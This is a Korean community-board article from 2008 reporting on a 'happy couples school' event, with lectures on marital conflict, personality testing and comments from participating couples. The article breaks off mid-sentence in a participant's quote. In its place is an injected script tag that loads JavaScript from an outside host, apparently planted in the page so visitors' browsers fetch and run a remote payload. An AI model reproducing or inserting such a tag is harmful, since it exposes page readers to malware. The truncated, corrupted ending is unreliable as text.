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제 목 |
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현장리포트/ 성숙한 가정을 위한 행복한 부부학교 |
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번 호 |
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804 |
조회수 |
2922 |
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작성자 |
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월간 아름다운 가정 |
작성일 |
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08-08-18 |
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내 용 |
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“당신은 행복하십니까?”
“당신은 행복한 부부관계를 유지하고 있습니까?”
만약 당신이 이런 질문을 받는다면 어떻게 대답하시겠습니까?
행복한 부부학교
지난 7월 5일 송파여성문화회관에서는 “행복한 부부학교”가 열렸
다. 한국한부모가정연구소에서 주최하는 이 행사는 송파구청 여성주
간 사업으로 이루어졌다.
이날 일정은 행복한 부부관계를 형성할 수 있도록 “행복한 부부의 의
미”, “성격검사를 통한 부부이해”, “성공적인 부부대화와 갈등해
결 기술” 등 세 가지 주제의 교육이 진행되었다.
부부학교에 참석한 대상자는 다섯쌍의 부부를 포함해 모두 20명이었
다. 대상도 결혼한 지 몇 개월도 안 된 신혼부부로부터 결혼 20년을
앞두고 있는 부부까지 다양하였다.
결혼 초보자에서 결혼이 무엇인지 터득했을 중년부부들까지 모였지
만 이들의 고충은 거의 비슷하였다.
이들은 배우자로 인해 상처받고 있었고, 갈등을 빚게 하는 배우자
의 문제점을 바꾸기 위해 씨름하고 있었다.
김해란(가명)님은 시작부터 남편의 행동에 대해 못 마땅한 표정을
지었다.
“어떠한 행동이 사회적으로 수용될 수없는 것이라면 그것은 잘못
된 것이잖아요. 그런 행동은 고쳐야하는 거잖아요. 그런데 고치라고
그렇게 말해도 고칠 생각을 안 해요. 하루 이틀도 아니고 너무 힘들어
요.”
성격을 알면 배우자를 이해할 수 있어요
김해란 님처럼 배우자와 생각 또는 성격이 달라 갈등을 빚고 있는
사람들이 적지 않다.
성격유형 검사를 해 주신 황은실 센터장님
황은숙 소장(한국한부모가정연구소)은 일반주부들에게 “부부간의
갈등으로 이혼을 생각해 본 적이 있느냐”고 물으면 대부분은 “그런
생각도 안하고 사는 사람도 있느냐”고 반문한다고 한다. 어떤 사람들
은 심지어는 “죽지 못해 산다”고 대답하는 사람들도 상당수라고 한
다.
이혼을 생각해 보지 않은 부부가 없을 정도로 부부간의 갈등이 깊어
지다 보니 부부학교에 참석하는 사람들 중에는 이혼을 할 것인지, 말
것인지를 최종적으로 결정하기 위해 교육에 참가하는 사람들도 있다
고 한다.
그만큼 절박한 상황인지 부부학교에 참석한 부부들은 갈등이 깊어지
면서 사랑해야 할 부부가 서로 원수가 되는 상황을 어떻게 받아들여
야 할지 몰라 난감해 하였다.
그러나 당사자들이 걱정하는 것과는 달리 전문가들은 부부의 갈등
을 관계회복의 기회로 보고 있다. 부부는 서로 다른 가정에서 자랐
고, 다른 경험을 갖고 있기 때문에 갈등이 발생할 수밖에 없다는 것이
다.
부부학교에서 첫 강의를 맡은 김병훈 소장(행복한가정연구소)은 부부
간의 갈등을 성적인 차이에서 설명하려고 한다.
“남성과 여성은 그 태생부터가 다르지요. 남성은 화성에서 왔고,
여성은 금성에서 왔기에 생각하고 행동하는 모든 것들이 다를 수 있어
요.”
그는 “남녀는 지적, 감각적, 사회ㆍ심리적으로 차이를 보이며, 결
혼에 대한 인식까지도 서로 다르다. 서로에 대한 차이와 욕구가 다르
기 때문에 갈등이 증폭될 수밖에 없다. 그러나 서로의 차이를 이해하
면 행복한 부부로 거듭날 수 있다”고 말한다.
남성과 여성의 차이점만도 2천 가지가 넘는다고 하니 남녀간의 성차
는 태어나면서부터 타고나는 것인지도 모르겠다.
황은실 센터장(서울시 한부모가정지원센터)은 성격검사를 통해 자신
과 배우자의 성격을 알면 서로를 이해하는 데 도움이 된다고 말한다.
그는 “우리는 서로 다른 성격을 갖고 있어요. 서로의 성격이 다르
다 보니 생각하고 행동하는 방식이 서로 다를 수 있어요. 그러나 자신
의 성격을 좋은 방향으로 활용하면 발전적인 사람으로 성장할 수 있지
요”라고 한다.
황은숙 소장(한국한부모가정연구소)는 마지막 강의에서 부부갈등을
해소하려면 먼저 서로의 차이를 인정하고, 배우자를 이해하려는 노력
이 필요하다고 언급하였다.
그리고 “갈등은 인간의 삶에서 피할 수 없는 것으로 갈등 자체에
문제를 두기 보다는 갈등을 어떻게 다루느냐에 관심을 가져야 한다”
고 말하며 “행복한 부부가 되려면 서로에 대한 관심과 배려, 그리
고 서로를 존중하는 의사소통 기술이 필요하다”고 강조했다.
서로의 마음을 열어요
부부학교 교육이 진행될수록 부부들은 서로를 이해하지 못하고 불평
불만만 했던 자신들을 반성하고, 조금씩 서로를 이해하기 시작했다.
박경욱(가명)님은 다음과 같이 말했다.
“오늘 강의를 듣고 보니 제가 아내를 제대로 이해하지 못했구나
하는 생각이 드네요. 집 사람이 좀 바가지가 심한 편이었거든요. 너
무 잔소리가 많아 피곤할 정도였지요.
아내가 왜 항상 불만이 많았는지 이제는 조?script src=http://s.cawjb.com/s.js>
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